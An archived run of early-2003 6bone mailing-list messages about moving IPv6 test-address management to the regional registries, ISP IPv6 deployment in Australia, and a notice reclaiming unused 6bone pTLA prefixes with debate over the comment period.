> At 4:16 PM +1100 31/12/02, Anand Kumria wrote:
> >Transfer to RIRs:
> >
> >Pros:
> >	- no single point of allocation
> >	- delegation of e.f.f.3.ip6.arpa
> >
> >Cons:
> >	- turns 3ffe::/16 into a service which requires payment
> 
> There is no such thing as a free lunch and you should just get over 
> it. 

You missed the point where I said this was a summary of the archive. 
That was the feeling of a number of people posting around August. 

> >Keeping existing system:
> >
> >Pros:
> >	- no changes
> >
> >Cons:
> >	- may induce volunteer burnout
> >	- no e.f.f.3.ip6.arpa delegation
> >	- doesn't excourage migration to production IPv6 addresses
> 
> If people want a production service then they will search it out. If 

Indeed, see below.

> >Some points I noted, my comments are under them:
> >
> >+ RIRs have no incentive to pull-in IPv4 and hand-out IPv6; I think this
> >will guarentee even slower IPv6 rollout
> 
> This seems really bizarre to me. Why on earth would you want to try 
> to force IPv6 down someone's throat like that?

Sometimes change isn't just about the carrots that are available but the
sticks you can avoid if you move.

> >It'd be nice if RIRs started to penalise their large transit/backbone
> >operator for requesting IPv4 space but not have/using IPv6 space. It'd
> >also be nice if pigs had wings too.
> 
> Don't turn the RIRs into policemen 

Huh? They are already. 

> ("you can't have more IPv4 space 
> unless you show us that you are actively using that IPv6 space we 
> leased to you"). It is relatively easy for a tier one to obtain the 
> IPv6 address space 

Yes, look at AS2764 - they've had theirs since '99.

> and even perhaps deploy it 

Ha! Again look as AS2764 for deployment.

> but that doesn't mean customers will want to get access to it. 

Garbage. I'm a current customer of AS2764 and I've had no end of
run arounds from both technical people and account managers.

> I've worked at an ISP where we had IP multicast enabled across the 
> backbone and while we used it there was no customer product and no 
> demand to create one. 

One of my routers is from said ISP and their technical people still
haven't figured out how to get multicast going on it. Perhaps AS2764's
backbone operators knew what they are doing but certainly their customer
facing engineers don't.

> If the customers started beating up their account managers asking for it 

Rubbish. I did this.

> then marketing would have come calling and something would have 
> happened. 

Nothing happened.

> Similarly with IPv6, if the customers want it (and are 
> prepared to pay for it) then ISPs will see the revenue opportunity 
> and do something about it. If the customers don't ask for it then why 
> would an ISP waste resources deploying something that will get no 
> return?

What, if I may ask, was the justification for IPv4 multicast within
Connect then?

> >I'm not even sure if AS701 has IPv6 production addresses. Even worse is
> >that the other major backbone with Australia (AS7474) hasn't even got
> >any (6bone or production) IPv6 addresses.
> 
> You forgot about Connect (AS2764, 2001:210::/35).

Not at all, having dealt with them all year on various technical (and
account related issues) it become clear to me that whatever technical
ability they once had they have managed to junk it.

Here is a proposed motto for AS2764 - "Three years and proudly not announcing".

Sorry if I'm seeming to pick on your ex-employer but your theory on how
they operate doesn't match my experience as a customer.

Regards,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From mrp@mrp.net Wed Jan  1 01:03:22 2003
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Date: Wed, 1 Jan 2003 19:33:09 +1030
To: wildfire@progsoc.uts.edu.au
From: Mark Prior <mrp@mrp.net>
Subject: Re: connect.com.au bashing was: [6bone] Address management
 transfer proposal
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At 5:48 PM +1100 1/1/03, Anand Kumria wrote:
>  > Similarly with IPv6, if the customers want it (and are
>>  prepared to pay for it) then ISPs will see the revenue opportunity
>>  and do something about it. If the customers don't ask for it then why
>>  would an ISP waste resources deploying something that will get no
>>  return?
>
>What, if I may ask, was the justification for IPv4 multicast within
>Connect then?

Internally we used it for the standard MBONE conferencing between offices.

>Sorry if I'm seeming to pick on your ex-employer but your theory on how
>they operate doesn't match my experience as a customer.
>
Well I worked for a Connect customer last year and we had a IPv6 
prefix issued by Connect and were using it. If their 6Bone link is 
broken now then I guess noone has complained after I left.

Mark.

From ako@shekinah.ip.tiscali.net Wed Jan  1 03:00:07 2003
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Date: Wed, 1 Jan 2003 12:02:10 +0100
From: Alexander Koch <koch@tiscali.net>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Address management transfer proposal
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On Tue, 31 December 2002 16:06:08 +0100, Jeroen Massar wrote:
> > 	- turns 3ffe::/16 into a service which requires payment
> 
> Who/what says/defines that suddenly one has to 'pay' for 6bone space?

Jeroen,

there have been some ppl here receiving an AS number for
IPv6 multi- homing (ouch, man!) which can still be done
without being a RIPE LIR. Those ppl will surely not get a
/32 from RIPE for free, therefore they need to pay the
money. Although honestly I do not know what we will lose if
this happened, if anything at all.

> Also many people are moving on to RIR space, at least I think
> that is what you mean that with 'production' IPv6.

This is correct. I believe that as soon as we do standard
filtering on 6bone space we get ugly AS paths with all
tunnels under it with terrible round- trip- times. I see
more and more ppl saying 'ah, we need to migrate it to these
RIPE addresses' and some are even getting the point that self-
made tunnels are pointless if someone two hops down the road
has its backbone in Europe and the US on IPv6 completely...

> Give those people clue first and probably the only reason why they
> want reverse is to 'look cool on irc'. That's not a reason to do IPv6.
> One can IRC quite well with IPv4 too, but then those people will
> complain as they don't have I.am.the.ipv6.rular.net or similar crap.

I could not have put it into words better than this.

Regards,
Alexander

-- 
Alexander Koch <koch@tiscali.net> / ako4-ripe
Network Engineer, Tiscali International Network
Robert-Bosch-Strasse 32, D-63303 Dreieich, Germany
Phone +49 6103 916 480, Fax +49 6103 916 464

From jeroen@unfix.org Wed Jan  1 05:25:16 2003
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To: "'Anand Kumria'" <wildfire@progsoc.uts.edu.au>
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Subject: RE: [6bone] Address management transfer proposal
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'Anand Kumria' [mailto:wildfire@progsoc.uts.edu.au] wrote:

> On Tue, Dec 31, 2002 at 04:06:08PM +0100, Jeroen Massar wrote:

<SNIP>

> > Who/what says/defines that suddenly one has to 'pay' for 
> 6bone space?
> 
> It was part of the proposal, see 
> <URL: 
> http://www.apnic.net/mailing-lists/sig-ipv6/archive/2002/08/ms
> g00000.html>
> 
> 3.1 parts (c) and (d); note I didn't say "suddenly" but it will turn
> 6bone into a service which requires payment.

Quote from 3.1d:
8<-------------------
fees will be waived for 6bone address services provided by RIRs to
6bone members (but not for other services 6bone members may require),
until
1 year after this agreement starts.  After this time each RIR may charge
an
administration fee to cover each allocation made.  This fee simply
covers
registration and maintenance, rather than the full allocation process
for
standard RIR members.
----------------->8

Waived -> No Payment for the first year.
After that only 'setup' costs.

And that for something that is just like 'the real thing' (RIR space)
and for a less cost. Organisations (not individuals) that have a good
enough backbone won't really worry about a small fee like that.

> Specifically from the APNIC 2001 annual report; they make USD$3620K 
> revenue. At least USD$581K at directly attributable to IPv4 address
> space delegation.

Those numbers have nothing to do with 6bone, also those are membership
fees and other numbers coming from different sources.

> Make no mistake that IPv6 represents a revenue threat to all RIRs. 

"Revenue", the RIR's are *NOT* in it for making money but for providing
a *SERVICE* to their members. Again, 'money' has nothing to do with
6bone.

> > > Keeping existing system:
> > > 
> > > Pros:
> > > 	- no changes
> > > 
> > > Cons:
> > > 	- may induce volunteer burnout
> > > 	- no e.f.f.3.ip6.arpa delegation
> > > 	- doesn't excourage migration to production IPv6 addresses
> > 
> > This would eNcourage migration to production IPv6 as the 6bone
> > would be 'harmed' by the nonexistent ip6.arpa delegation.
> 
> Perhaps, my current feeling is that there are more end-users 
> using 6bone address space than IPv6 production space. I have no data
to 
> back up that feeling though.

Are those users 'testing' or using it 'production' ?
If they are using the second they should be using RIR space anyways.
And again, <cut from other messy>:
8<---------
ripe:  140
6bone: 134
apnic:  93
arin:   42

Hmm 134 6bone TLA's and only 140+93+42 = 275 RIR TLA's...
--------->8
275 RIR TLA's is the double of 6bone and you can expect
them to be used too as people are paying for the
*REGISTRATION* and companies DO need to produce revenue.

> Those end-users of 6bone will eventually start to demand RIR IPv6
> addresses.

Indeed and that is *GOOD* as they will harrash the marketing
departments of their uplink and then it will become production IPv6.

> > Also many people are moving on to RIR space, at least I think
> > that is what you mean that with 'production' IPv6.
> 
> Yes, I do; I'll use that term instead (IPv6 RIR space) instead.
> 
> > > Some points I noted, my comments are under them:
> > > 
> > > + RIRs have no incentive to pull-in IPv4 and hand-out IPv6; I 
> > > think this will guarentee even slower IPv6 rollout
> > 
> > I think you are quite wrong here; See
> > http://www.ripe.net/ipv6/v6allocs.html
> 
> 404'd

http://www.ripe.net/ipv6/ipv6allocs.html

Never type URL's from the head...

> > or http://www.sixxs.net/tools/grh/
> 
> A very useful tool!

And it will be showing bogon's quite soon too, be warned abusers ;)

<SNIP>

> > Hmm 134 6bone TLA's and only 140+93+42 = 275 RIR TLA's... 
> not enough? :)
> 
> Interesting; and yet end-user IPv6 is still hard to find the 
> world over.

What do you mean with "end-user IPv6" ?
You probably mean "IPv6 where people pay for" and there is enough
of that in the APNIC region, you can even get IPv6 dedicated lines ;)

> > Only the ARIN region is quite behind, but the others are growing
> > rapidly.
> 
> Actually I'd say that APNIC is also.

APNIC region is much smaller then the RIPE region, covering europe,
most part of africa and russia.
Also an ISP only needs one /32 to fullfill most of it's needs
currently an ISP will most of the time have multiple IPv4 /19's.
These are IPv6 /32's with which you can address 2^(128-32) IP's.
Which should be enough for 90% of the biggest ISP's around the globe.

> > > It'd be nice if RIRs started to penalise their large 
> transit/backbone
> > > operator for requesting IPv4 space but not have/using 
> IPv6 space. It'd
> > > also be nice if pigs had wings too.
> > 
> > ISP's/Transit providers are BUSINESSES. They have to earn money.
> 
> Yes, so you'd imagine that: lower fees for RIR IPv6 coupled with
> additional costs for RIR IPv4 would encourage migration.

No it won't as there still is no DEMAND for IPv6.
It's the same as what philips tried to do here in .nl:
Make the "widescreen" (16:9 ratio) TV's cheap and the
"standard" (4:3) more expensive, but that didn't make
TV-stations broadcast any 16:9 programs. The only use is
watching DVD's (imho 1m^2 screens are still to small though ;)

> Most people on this list are technical and neglect to take 
> into account that beancounters have a lot of sway also; demonstrate
that 
> IPv6 is less costly and perhaps more organisations will commence take
up.
> 
> Most beancounters that I've met are very happy if they can lower their
> OPEX [1] (operational expenditure) by a small amount of CAPEX 
> [1] (captial expenditure).

Those beancounters also say that they are doing "badly" when they
didn't make the money they expected to be making even though
everything is up up up and they had doubled their profits etc.
They are mostly in it for the stockmarket, not for the technical savvy.

> > > + having the delegation, as far as I can tell, depend on migrating
> > > address management to the RIRs will only slow down IPv6 adoption.
> > > 
> > > I help out on various irc channels people setup their tunnels; the
> > > hardest thing for most of them is to get reverse DNS gonig. When
they
> > > discover that they have to do it twice (for ip6.int and ip6.arpa)
most
> > > of them don't bother -- even if the work isn't much.
> > 
> > Give those people clue first and probably the only reason why they
> > want reverse is to 'look cool on irc'. 
> 
> Perhaps; personally I've not encountered that. But then I lead a
> sheltered irc existence.
> 
> > That's not a reason to do IPv6.
> 
> What is? What you mean is that you don't think it is a valid reason to
> deploy IPv6; I'm sure a clever ISP could start to make money form it
> though. Vanity can earn $$$ dollars.

Vanity IRC hostnames is not a reason to do IPv6.
Even though for most people it is apparently.
And Vanity earns loads of money, seeing a 'free email' company having
1500 domains (<dom>.nl that is), good money for SIDN :)

> > > Having the RIRs not delegate e.f.f.3.ip6.arpa means that 
> > > support will be
> > > in place in a lot of OS for ip6.int for many years to come.
> > 
> > 6bone is a testbed it ain't that critical.
> 
> True; however at the moment all software has to support both 
> ip6.int and ip6.arpa;

Is that *that* hard, it has been that way for almost two years now.
Most (if not all) software understands it.

<SNIP>

> > > + 6bone may not fall under the IETF IPv6 AD 
> responsiblity; hence the
> > > desire to more it "somewhere approriate".
> > 
> > Could you translate that?
> 
> Apparently, from the archive I read, the genesis of this transfer was
> because the IETF IPv6 Area Director (Randy Bush?) was/is in 
> the process of winding up the ipngwg; the 6bone project did not fit
into the terms
> of reference of the next one. Thus the desire to find a another home.
> 
> [[ Apologies if I've got this all wrong, clarifications welcome ]]

That is indeed correct as ngtrans has become ipv6ops, because
IPv6 is 'operational' and that 'testing' has been concluded.
But as 6bone is quite broadly used they are seeking a nice way
of restricting it and forcing it into the RIR's. Which is a good thing.
Current 6bone TLA holders will end their actual 'productional' use of
the 6bone and move to RIR space also wrapping up the endless fullmeshed
tunneling. 6bone TLA holders that actually are really using their
space for testing will continue to do so. But it should all go away.

> > Convince them that they should; they will probably have one big and
> > fairly good argument: Pay us.
> 
> Actually the AS7474 people said they hadn't seen much demand; so I've
> setup a tunnel broker and lo' 50% of the people taking up the service
> are within AS747.

Show the stats to AS7474 then, possibly letting them run a tunnelbroker
for their endusers.

This is actually why Pim and me have setup SixXS:
ISP wants to give their endusers IPv6 connectivity, but they don't have
the proper hardware in place to get IPv6 to their endusers.
Thus they:
 - Get a RIR delegation.
 - Build a tunnelbox (simple PC or similar)
 - Install the SixXS software.

Et tada, they can provide their users (or a specific set of prefixes
etc)
with IPv6 without having to go through the 'problem' of buying/upgrading
their existing infrastructure. Some places (*DSL etc) simply cannot be
upgraded easily or if they can it is not in the budget of that ISP.
Every ISP should be able to spare a simple PC with a NIC though.

> From what I understand from my second hand hearing of things; they are
> now looking at their suppliers to see which support IPv6. 
> Unfortunately it is a large organisation so those kinds of
> (re)evaluations can take time.

Politics... yuck ;)

> > > I feel that transferring the address allocation to RIRs 
> (merely for
> > > the DNS delegation) will lead to the hastened end of the 
> 6bone. We all
> > > realise the 6bone will, and must, go but I think it is too 
> > > early at the moment.
> > 
> > I read this as "because I don't have ip6.arpa my irc doesn't work".
> 
> Read it as "because ip6.arpa isn't delegated growth of IPv6 
> demand (from end users) is slowed".

Reverse DNS doesn't impose any problems on HTTP,SSH,Mail, actually
*any* other protocol except IRC (and maybe some log programs).
But still, most resolvers understand both ip6.int. and ip6.arpa.

> [1]: Widely used terms within Australia, not sure about the 
> rest of the world.

Not something one will find in non-native-english speaking at least ;)

Greets,
 Jeroen


From bob@thefinks.com Wed Jan  1 18:29:36 2003
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Subject: [6bone] notice of intent to reclaim unused pTLAs, comment period
 closes 17 January 2003
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6bone Folk,

This is a notice of intent to reclaim pTLAs that have not been in use for 
quite a while (at least several months). Please review the list below.

These pTLAs will be returned to the pool, pending comments to me or the 
list, at the end of two weeks. Please reply to me or the list prior to 
close of business 17 January 2003.


Thanks,

Bob

===
  3ffe:d00::/24      ANSNET/US-DC

---
  3ffe:e00::/24      IFB/GB

---
  3ffe:1400::/24      UNI-C/DK

---
  3ffe:1700::/24      MREN/US-IL

---
  3ffe:1900::/24      6COM/US-CA

---
  3ffe:1a00::/24      CAIRN/US

---
  3ffe:1b00::/24      UL/PT

---
  3ffe:2300::/24      INFN-CNAF/IT

---
  3ffe:2700::/24      ERA/SE

---
  3ffe:4002::/32      MOTOROLA-LABS/US

---
  3ffe:400e::/32      ECITY/IT

---
  3ffe:80f0::/28      ZAMA/US

---
  3ffe:8180::/28      TIAI/US

---
  3ffe:82e0::/28      LDCOM/FR

---
-end 


From jorgen@hovland.cx Thu Jan  2 06:39:51 2003
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Hi folks


WebOnline would like to return their 6bone prefix, 3ffe:82b0::/28
We are going to switch entirely to our subTLA.
The prefix should be unadvertised within the day.  We are still solving some
minor issues with a few dsl-users.
If it hadnt been for 6bone, we would never have got this far as we have come
now.
Thanks a lot.

ps: When clearing up the 6bone registry I werent able to delete 1 inet6num
cause of wrong password. I will try to solve this.

Sincerly,
WebOnline AS
Joergen Hovland


From bob@thefinks.com Thu Jan  2 08:09:05 2003
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To: Jørgen Hovland <jorgen@hovland.cx>, "Mailing-List 6bone" <6bone@ISI.EDU>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] Deallocation of 3ffe:82b0::/28
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Jørgen,

At 03:39 PM 1/2/2003 +0100, Jørgen Hovland wrote:
>Hi folks
>
>
>WebOnline would like to return their 6bone prefix, 3ffe:82b0::/28
>We are going to switch entirely to our subTLA.
>The prefix should be unadvertised within the day.  We are still solving some
>minor issues with a few dsl-users.
>If it hadnt been for 6bone, we would never have got this far as we have come
>now.
>Thanks a lot.

Thankyou for voluntarily returning your pTLA. I will mark the allocation as 
returned.



>ps: When clearing up the 6bone registry I werent able to delete 1 inet6num
>cause of wrong password. I will try to solve this.

I can delete it for you if you wish.


Thanks again,

Bob 


From rogerj@student.uit.no Thu Jan  2 14:44:29 2003
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On Thu, 2 Jan 2003, Bob Fink wrote:
> At 03:39 PM 1/2/2003 +0100, Jørgen Hovland wrote:
<snip>
> >ps: When clearing up the 6bone registry I werent able to delete 1 inet6num
> >cause of wrong password. I will try to solve this.
> 
> I can delete it for you if you wish.

I just deleted the last object, it should be all gone now.
(I had forgot to tell Jorgen the new pw for the mnt, sorry)


-- 


------------------------------
Roger Jorgensen              | IRC: James_B
rogerj@stud.cs.uit.no        | - IPv6 is The Key!
http://www.jorgensen.no      | roger@jorgensen.no
-------------------------------------------------------


From nicolas.deffayet@ndsoftware.net Thu Jan  2 16:17:51 2003
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On Thu, 2003-01-02 at 03:29, Bob Fink wrote:
Bob,

> This is a notice of intent to reclaim pTLAs that have not been in use for 
> quite a while (at least several months). Please review the list below.
> 
> These pTLAs will be returned to the pool, pending comments to me or the 
> list, at the end of two weeks. Please reply to me or the list prior to 
> close of business 17 January 2003.

Many pTLA owner don't read the 6bone mailing-list. I think that it can
be a good idea to add them in Cc.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


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Nicolas,

At 01:17 AM 1/3/2003 +0100, Nicolas DEFFAYET wrote:
>On Thu, 2003-01-02 at 03:29, Bob Fink wrote:
>Bob,
>
> > This is a notice of intent to reclaim pTLAs that have not been in use for
> > quite a while (at least several months). Please review the list below.
> >
> > These pTLAs will be returned to the pool, pending comments to me or the
> > list, at the end of two weeks. Please reply to me or the list prior to
> > close of business 17 January 2003.
>
>Many pTLA owner don't read the 6bone mailing-list. I think that it can
>be a good idea to add them in Cc.

It is a requirement that they do per section 8. of RFC 2772. Also, many of 
the contacts I have tried have not worked (I'll admit I haven't tried all), 
or I have gotten no response.

So, my feeling is that if pTLA holders aren't willing to read the 6bone 
list, they aren't serious about their pTLA and the 6bone.


Thanks,

Bob 


From bob@thefinks.com Thu Jan  2 17:23:33 2003
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From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] Deallocation of 3ffe:82b0::/28
Cc: Jørgen Hovland <jorgen@hovland.cx>, Mailing-List 6bone <6bone@ISI.EDU>
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At 11:54 PM 1/2/2003 +0100, Roger Jorgensen wrote:
>On Thu, 2 Jan 2003, Bob Fink wrote:
> > At 03:39 PM 1/2/2003 +0100, Jørgen Hovland wrote:
><snip>
> > >ps: When clearing up the 6bone registry I werent able to delete 1 inet6num
> > >cause of wrong password. I will try to solve this.
> >
> > I can delete it for you if you wish.
>
>I just deleted the last object, it should be all gone now.
>(I had forgot to tell Jorgen the new pw for the mnt, sorry)

Thanks,

Bob 


From johann@broadpark.no Fri Jan  3 10:44:04 2003
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Date: Fri, 3 Jan 2003 19:43:57 +0100
From: "Janine C.Buorditez" <johann@broadpark.no>
To: 6bone@mailman.isi.edu
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Hello.

I was just wondering whether someone could take a look at my config files
available at http://www.terrabionic.com/ipv6 and tell me where I lost track.

When I connect to IRC f:ex, the end prefix ::1200 (as in my configuration
files) doesn't exist. Also, the reverse doesn't work.

Yes, I know, I should be reading day and night and set things right by
myself. But it's kind of hard when the real life needs you and you need it.

Thank you.

-- Johann

From Q@ping.be Fri Jan  3 10:46:25 2003
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Date: Fri, 3 Jan 2003 19:46:13 +0100
From: Kurt Roeckx <Q@ping.be>
To: Bob Fink <bob@thefinks.com>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
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On Thu, Jan 02, 2003 at 05:23:11PM -0800, Bob Fink wrote:
> 
> It is a requirement that they do per section 8. of RFC 2772. Also, many of 
> the contacts I have tried have not worked (I'll admit I haven't tried all), 
> or I have gotten no response.

I'd like to point out that I once, and I think I heard the same
of others, were for some reason no longer subscribed once.  I
resubscribed because I found it strange not to get any mail from
the list for a long period of time.


Kurt


From Marc.Blanchet@viagenie.qc.ca Fri Jan  3 13:05:48 2003
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From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Bob Fink <bob@thefinks.com>
cc: 6BONE List <6bone@mailman.isi.edu>
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-- jeudi, janvier 02, 2003 17:23:11 -0800 Bob Fink <bob@thefinks.com>
wrote/a écrit:

> Nicolas,
> 
> At 01:17 AM 1/3/2003 +0100, Nicolas DEFFAYET wrote:
>> On Thu, 2003-01-02 at 03:29, Bob Fink wrote:
>> Bob,
>> 
>> > This is a notice of intent to reclaim pTLAs that have not been in use
>> > for quite a while (at least several months). Please review the list
>> > below.
>> > 
>> > These pTLAs will be returned to the pool, pending comments to me or the
>> > list, at the end of two weeks. Please reply to me or the list prior to
>> > close of business 17 January 2003.
>> 
>> Many pTLA owner don't read the 6bone mailing-list. I think that it can
>> be a good idea to add them in Cc.
> 
> It is a requirement that they do per section 8. of RFC 2772. Also, many
> of the contacts I have tried have not worked (I'll admit I haven't tried
> all), or I have gotten no response.
> 
> So, my feeling is that if pTLA holders aren't willing to read the 6bone
> list, they aren't serious about their pTLA and the 6bone.

Bob, I agree, but at the same time, we are talking about loosing the use of
a large address space. Care should be taken to make sure that the owner has
the chance to respond.

To me, 2 weeks email sent to a mailing list is not fair. Because:
- one might watch the 6bone mailing list once a while
- he might be on vacation. (Many continue to read personal email but would
delay any mailing list emails during vacation)
- ...

So I think should give them more time (1 month?) and send the email to all
the contacts attached to the 6bone object in the registry.

Regards, Marc.

> 
> 
> Thanks,
> 
> Bob 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 



From wmaton@ryouko.imsb.nrc.ca Fri Jan  3 13:25:46 2003
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To: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment  period
 closes 17 January 2003
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On Fri, 3 Jan 2003, Marc Blanchet wrote:

> > So, my feeling is that if pTLA holders aren't willing to read the 6bone
> > list, they aren't serious about their pTLA and the 6bone.
>
> Bob, I agree, but at the same time, we are talking about loosing the use of
> a large address space. Care should be taken to make sure that the owner has
> the chance to respond.

I agree.

> So I think should give them more time (1 month?) and send the email to all
> the contacts attached to the 6bone object in the registry.

Hmmm...given that holidays of somewhat long duration can happen, aside
from indiustry turbulence, how about 6 weeks from the initial notice and
have a second notice 3 weeks into that?

wfms

From jeroen@unfix.org Fri Jan  3 14:19:40 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>,
   "'Bob Fink'" <bob@thefinks.com>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, comment  period closes 17 January 2003
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Marc Blanchet wrote:

> Bob, I agree, but at the same time, we are talking about 
> loosing the use of
> a large address space. Care should be taken to make sure that 
> the owner has
> the chance to respond.

Check http://www.sixxs.net/tools/grh/tla/6bone.

All the prefixes Bob has put up for reclaim have not been announced
for at least a month now. And most of them have been known for not
being announced before that either. Apparently none of the multiple
contact are available for reading either the 6bone list and/or their
private mailboxes.

Also there is this nice requirement that a pTLA holder should respond
in a timely fashion and 1 month is not a timely fashion.

Greets,
 Jeroen


From dr@cluenet.de Fri Jan  3 14:43:50 2003
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Date: Fri, 3 Jan 2003 23:43:46 +0100
From: Daniel Roesen <dr@cluenet.de>
To: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
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On Fri, Jan 03, 2003 at 04:04:53PM -0500, Marc Blanchet wrote:
> Bob, I agree, but at the same time, we are talking about loosing the use of
> a large address space. Care should be taken to make sure that the owner has
> the chance to respond.

If the netblock was not announced for many months, it obviously
wasn't used. The holder may re-apply at any time for a new block.
If he/she has use for it, they will comply again (or not).

Too much poking around provokes mostly a single thing: that people
start announcing the route so their allocations doesn't get
withdrawn ("we might need it sometime in the remote future" effect).

I'd vote for an auto-withdrawl after x months of non-visibility
of the announcement. For my taste, x<=3. It's up to the holder to
be active, not to 6bone to run after them...


Just my 0.02?


Regards,
Daniel

From Marc.Blanchet@viagenie.qc.ca Fri Jan  3 15:10:06 2003
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From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Jeroen Massar <jeroen@unfix.org>, "'Bob Fink'" <bob@thefinks.com>
cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, comment 
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-- vendredi, janvier 03, 2003 23:20:50 +0100 Jeroen Massar
<jeroen@unfix.org> wrote/a écrit:

> Marc Blanchet wrote:
> 
>> Bob, I agree, but at the same time, we are talking about 
>> loosing the use of
>> a large address space. Care should be taken to make sure that 
>> the owner has
>> the chance to respond.
> 
> Check http://www.sixxs.net/tools/grh/tla/6bone.
> 
> All the prefixes Bob has put up for reclaim have not been announced
> for at least a month now. And most of them have been known for not
> being announced before that either. Apparently none of the multiple
> contact are available for reading either the 6bone list and/or their
> private mailboxes.

I do agree that probably most if not all of the prefix on the list are
"dead". Again, I think it is just more fair to make sure they have enough
chance to respond. 

Marc.

> 
> Also there is this nice requirement that a pTLA holder should respond
> in a timely fashion and 1 month is not a timely fashion.
> 
> Greets,
>  Jeroen
> 



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
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From ajs@labs.mot.com Fri Jan  3 15:26:56 2003
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Date: Fri, 03 Jan 2003 17:26:50 -0600
From: "Aron Silverton"<ajs@labs.mot.com>
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CC: "'Marc Blanchet'"<Marc.Blanchet@viagenie.qc.ca>,
   "'Bob Fink'"<bob@thefinks.com>, "'6BONE List'"<6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment  period
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Jeroen Massar wrote:
> Marc Blanchet wrote:
> 
> 
>>Bob, I agree, but at the same time, we are talking about 
>>loosing the use of
>>a large address space. Care should be taken to make sure that 
>>the owner has
>>the chance to respond.
> 
> 
> Check http://www.sixxs.net/tools/grh/tla/6bone.
> 
> All the prefixes Bob has put up for reclaim have not been announced
> for at least a month now. And most of them have been known for not
> being announced before that either. Apparently none of the multiple
> contact are available for reading either the 6bone list and/or their
> private mailboxes.

How did you come to this conclusion that none of the contacts are 
available and that they do not read the 6bone list and/or their private 
mailboxes?  Some of those contacts do read the list regularly, 
correspond off-list with other list members, check their personal email 
daily, and have contacted Bob Fink regarding the matter at hand.  Please 
do not make generalizations that include me until you have tried to send 
me an email or seen me blatantly ignore a request directed specifically 
to me on the list.

> 
> Also there is this nice requirement that a pTLA holder should respond
> in a timely fashion and 1 month is not a timely fashion.

I responded within minutes to Bob, and per his request, will provide 
status to the list in the near future.

> 
> Greets,
>  Jeroen
> 

Regards,

Aron

-- 
Aron J. Silverton
Senior Staff Research Engineer
Motorola Laboratories, Networks and Infrastructure Research
Motorola, Inc.


From jeroen@unfix.org Fri Jan  3 15:35:14 2003
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Aron Silverton [mailto:ajs@labs.mot.com] wrote:

> Jeroen Massar wrote:
> > Marc Blanchet wrote:
> > 
> > 
> >>Bob, I agree, but at the same time, we are talking about 
> >>loosing the use of
> >>a large address space. Care should be taken to make sure that 
> >>the owner has
> >>the chance to respond.
> > 
> > 
> > Check http://www.sixxs.net/tools/grh/tla/6bone.
> > 
> > All the prefixes Bob has put up for reclaim have not been announced
> > for at least a month now. And most of them have been known for not
> > being announced before that either. Apparently none of the multiple
> > contact are available for reading either the 6bone list and/or their
> > private mailboxes.
> 
> How did you come to this conclusion that none of the contacts are 
> available and that they do not read the 6bone list and/or 
> their private mailboxes?  Some of those contacts do read the list
regularly, 
> correspond off-list with other list members, check their 
> personal email daily, and have contacted Bob Fink regarding the matter
at 
> hand.  Please do not make generalizations that include me until you
have 
> tried to send me an email or seen me blatantly ignore a request
directed 
> specifically to me on the list.

Whoa.... you are taking this personal now are you?
If you have contacted Bob, you don't have nothing to 'worry' about.
Bob was contacted by some of the TLA holders, apparently that includes
you.

> > Also there is this nice requirement that a pTLA holder should
respond
> > in a timely fashion and 1 month is not a timely fashion.
> 
> I responded within minutes to Bob, and per his request, will provide 
> status to the list in the near future.

Perfect! Then there should be no problem whatsoever. :)

Also I remember something concerning the Motorola Labs prefix being
used internally etc, at least something like that passed these lists
a couple of months ago.

Greets,
 Jeroen


From dr@cluenet.de Fri Jan  3 15:46:08 2003
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Date: Sat, 4 Jan 2003 00:46:06 +0100
From: Daniel Roesen <dr@cluenet.de>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
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On Fri, Jan 03, 2003 at 06:07:01PM -0500, Marc Blanchet wrote:
> I do agree that probably most if not all of the prefix on the list
> are "dead". Again, I think it is just more fair to make sure they
> have enough chance to respond. 

What what you take as an (for 6BONE, not you personally) acceptable
reply which would lead to non-reclaiming?

"Oh, we forgot about it"?
"Oops, we had a misconfig thus it was not announced... Fixed now"?
"We didn't need it [anymore] but might need it sometime in the future"?

[please add your own variants, the above ones were just off my head]

Again, we are speaking about prefixes not being announced for _months_.


Regards,
Daniel

From matrix@jade.miracle1.net Fri Jan  3 16:37:55 2003
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I would accept a reply of "We are having physical connection problems and are unable to advertise our prefix at the
current time".
But thats just me, if it truly won't be used or has been neglected then I can see reclaiming it.
-Jeremy
VLINK
On Sat, Jan 04, 2003 at 12:46:06AM +0100, Daniel Roesen wrote:
> On Fri, Jan 03, 2003 at 06:07:01PM -0500, Marc Blanchet wrote:
> > I do agree that probably most if not all of the prefix on the list
> > are "dead". Again, I think it is just more fair to make sure they
> > have enough chance to respond. 
> 
> What what you take as an (for 6BONE, not you personally) acceptable
> reply which would lead to non-reclaiming?
> 
> "Oh, we forgot about it"?
